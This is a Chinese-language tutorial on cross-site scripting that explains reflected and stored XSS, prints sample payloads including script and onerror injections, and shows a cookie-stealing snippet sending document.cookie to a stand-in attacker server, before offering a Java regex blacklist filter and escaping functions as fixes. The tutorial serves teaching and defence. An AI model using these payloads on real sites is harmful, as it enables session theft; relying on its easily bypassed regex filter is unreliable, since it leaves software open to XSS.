XSS攻击原理与解决方法

 

 

一、概述

　　XSS攻击是Web攻击中最常见的攻击方法之一，它是通过对网页注入可执行代码且成功地被浏览器 执行，达到攻击的目的，形成了一次有效XSS攻击。一旦攻击成功，它可以获取用户的联系人列表，然后向联系人发送虚假诈骗信息，可以删除用户的日志等等，有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼，它带来的危害是巨 大的，是web安全的头号大敌。

二、攻击的条件

　　实施XSS攻击需要具备两个条件：

　　一、需要向web页面注入恶意代码；

　　二、这些恶意代码能够被浏览器成功的执行。

　　看一下下面这个例子：

<div id="el" style="background:url('javascript:eval(document.getElementById("el").getAttribute("code")) ')"
        code="var a = document.createElement('a');
        a.innerHTML= '执行了恶意代码';document.body.appendChild(a);
        //这这里执行代码
        "></div>

　　这段代码在旧版的IE8和IE8以下的版本都是可以被执行的，火狐也能执行代码，但火狐对其禁止访问DOM对象，所以在火狐下执行将会看到控制里抛出异常：document is not defined （document是没有定义的）

　　再来看一下面这段代码：

<div>
  <img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" />
  </div>

　　相信很多程序员都觉得这个代码很正常，其实这个代码就存在一个反射型的XSS攻击，假如输入下面的地址：

http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="
最终反射出来的HTML代码：
    <div>
    <img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" />
    </div>

 　　也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了，其实这种情况还可以输入下面的地址达到相同的攻击效果：

http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="

 三、根据XSS攻击的效果可以分为几种类型

　　1、XSS反射型攻击：恶意代码并没有保存在目标网站，通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

　　2、XSS存储型攻击：恶意代码被保存到目标网站的服务器中，这种攻击具有较强的稳定性和持久性，比较常见场景是在博客，论坛等社交网站上，但OA系统，和CRM系统上也能看到它身影，比如：某CRM系统的客户投诉功能上存在XSS存储型漏洞，黑客提交了恶意攻击代码，当系统管理员查看投诉信息时恶意代码执行，窃取了客户的资料，然而管理员毫不知情，这就是典型的XSS存储型攻击。

四、XSS攻击能做些什么

　　1、窃取cookies，读取目标网站的cookie发送到黑客的服务器上，如下面的代码： 

var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

 　　2、读取用户未公开的资料，如果：邮件列表或者内容、系统的客户资料，联系人列表等等，如代码。

五、解决方法

　　1、一种方法是在表单提交或者url参数传递前，对需要的参数进行过滤。请看如下XSS过滤工具类代码

　　在项目的web.xml配置过滤器： 

    <filter>  
        <filter-name>XssEscape</filter-name>  
        <filter-class>XssFilter</filter-class>  
    </filter>  
    <filter-mapping>  
        <filter-name>XssEscape</filter-name>  
        <url-pattern>/*</url-pattern>  
    </filter-mapping>

 　　XssFilter实现：

public class XssFilter implements Filter {
    
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain chain) throws IOException, ServletException {
        chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response);
    }

    @Override
    public void destroy() {
    }  
}

　　XssHttpServletRequestWrapper实现：

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {

    public XssHttpServletRequestWrapper(HttpServletRequest request) {
        super(request);
    }

    @SuppressWarnings("rawtypes")
    public Map<String,String[]> getParameterMap(){
        Map<String,String[]> request_map = super.getParameterMap();
        Iterator iterator = request_map.entrySet().iterator();
        while(iterator.hasNext()){
            Map.Entry me = (Map.Entry)iterator.next();
            String[] values = (String[])me.getValue();
            for(int i = 0 ; i < values.length ; i++){
                values[i] = xssClean(values[i]);
            }
        }
        
        return request_map;
    }
     public String[] getParameterValues(String paramString)
      {
        String[] arrayOfString1 = super.getParameterValues(paramString);
        if (arrayOfString1 == null)
          return null;
        int i = arrayOfString1.length;
        String[] arrayOfString2 = new String[i];
        for (int j = 0; j < i; j++){
            arrayOfString2[j] = xssClean(arrayOfString1[j]);
        }
        return arrayOfString2;
      }

      public String getParameter(String paramString)
      {
        String str = super.getParameter(paramString);
        if (str == null)
          return null;
        return xssClean(str);
      }

      public String getHeader(String paramString)
      {
        String str = super.getHeader(paramString);
        if (str == null)
          return null;
        str = str.replaceAll("\r|\n", "");
        return xssClean(str);
      }
      
      
      private String xssClean(String value) {
        //ClassLoaderUtils.getResourceAsStream("classpath:antisamy-slashdot.xml", XssHttpServletRequestWrapper.class)
        if (value != null) {
            // NOTE: It's highly recommended to use the ESAPI library and
            // uncomment the following line to
            // avoid encoded attacks.
            // value = encoder.canonicalize(value);
            value = value.replaceAll("\0", "");
            
            // Avoid anything between script tags
            Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>",
                    Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid anything in a src='...' type of expression
            scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
                            | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid anything in a href='...' type of expression
            scriptPattern = Pattern.compile("href[\r\n]*=[\r\n]*\\\"(.*?)\\\"",
                                Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
                                        | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            

            // Remove any lonesome </script> tag
            scriptPattern = Pattern.compile("</script>",
                    Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");

            // Remove any lonesome <script ...> tag
            scriptPattern = Pattern.compile("<script(.*?)>",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
                            | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid eval(...) expressions
            scriptPattern = Pattern.compile("eval\\((.*?)\\)",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
                            | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid expression(...) expressions
            scriptPattern = Pattern.compile("expression\\((.*?)\\)",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
                            | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid javascript:... expressions
            scriptPattern = Pattern.compile("javascript:",
                    Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid vbscript:... expressions
            scriptPattern = Pattern.compile("vbscript:",
                    Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid onload= expressions
            scriptPattern = Pattern.compile("onload(.*?)=",
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
                            | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
        }  
          return value; 
          }
}

　　二、 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>（尖括号）、”（引号）、 ‘（单引号）、%（百分比符号）、;（分号）、()（括号）、&（& 符号）、+（加号）等，严格控制输出。

可以利用下面这些函数对出现xss漏洞的参数进行过滤
1、htmlspecialchars() 函数,用于转义处理在页面上显示的文本。
2、htmlentities() 函数,用于转义处理在页面上显示的文本。
3、strip_tags() 函数,过滤掉输入、输出里面的恶意标签。
4、header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部，不用于浏览。
5、urlencode() 函数,用于输出处理字符型参数带入页面链接中。
6、intval() 函数用于处理数值型参数输出页面中。
7、自定义函数,在大多情况下，要使用一些常用的 html 标签，以美化页面显示，如留言、小纸条。那么在这样的情况下，要采用白名单的方法使用合法的标签显示，过滤掉非法的字符。

各语言示例：
  PHP的htmlentities()或是htmlspecialchars()。
   Python的cgi.escape()。
   ASP的Server.HTMLEncode()。
   ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
   Java的xssprotect(Open Source Library)。
   Node.js的node-validator。